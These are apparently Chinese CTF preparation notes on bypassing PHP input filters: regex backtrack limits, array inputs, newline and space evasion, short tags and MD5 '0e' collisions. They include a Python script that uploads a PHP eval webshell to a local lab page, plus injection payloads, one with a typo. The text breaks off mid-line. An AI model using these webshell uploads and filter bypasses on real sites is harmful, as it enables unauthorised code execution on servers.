PHP备赛CTF知识点①–清风
1.正则匹配的绕过
正则匹配绕过即===preg_match()函数
------三种方法
(1)最大回溯次数绕过**(仅用于POST)**
PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。
PHP 文档中,中英文版本的数值是不一样的:
中文为10万
英文为100万
①回溯绕过正则并实现文件上传:
from requests import post,get
from io import BytesIO
url='http://127.0.0.1/openlab/xss/regexp/demo5.php'
files = {
'file': BytesIO(b'aaa<?php eval($_POST[123]);//' +b'a' *1000000)
}
res = post(url,files=files,allow_redirects=False)
print(res.text)
②回溯绕过正则拿flag:
from requests import post,get
payload={
'greeting':'Merry Christmas' +'a' * 1000000
}
res=post('http://127.0.0.1/openlab/xss/regexp/demo2.php',data=payload)
print(res.text)
(2)数组绕过
------php大部分函数无法处理数组,所以想到用数组绕过
例如:greeting[]=Merry Christmas
if(strpos($greeting,'Merry Christmas')!==false){
echo 'Merry Christmas. '.'flag{xxxxxx}';
#strpos() 是 PHP 中的一个字符串函数,用于查找字符串首次出现的位置
--如果 'Merry Christmas' 存在于 $greeting 中,函数将返回该子字符串首次出现的位置(从 0 开始计数)。
--如果 'Merry Christmas' 不存在于 $greeting 中,函数将返回 false。
#数组返回值为NULL,成功绕过
(3)换行绕过===%0a
%0a
例如:?action=upload&data=%0a<?eva($_POST["cmd"]);?>
=======================================================
(4)空格过滤 绕过—%09
%09 < > <> ${
IFS} $IFS$9
(5) 单引号过滤 绕过—`(反单引号)
echo`你好`;
2.php短标签—<?="1"?>
当php字符串被过滤时,使用短标签===(省去php字符)
注意:
短标签中少了php和分号(;)
正常PHP为:<?php echo"1";?>
<?="1"?> #相当于<?php echo"1";?>
或者 <?echo"1"?> #上下是相同的,---=相当于echo
或者 <%echo"1"%> #这种极少用,有的版本行不通
3.MD5绕过
PHP规定当进行字符串与数字的弱比较时
,会进行如下步骤
:
先看字符串开头是否为数字,如果为数字,则截止到连续数字的最后一个数字,即"123abc456"
=>123
如果开头不为数字,则判断为false,即0。
("aaa123"==0) =>true
("123a"==123) =>true
(1).MD5弱类型绕过
①—常规0e绕过(科学计数法)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
这些字符串的 md5 值都是 0e 开头ÿ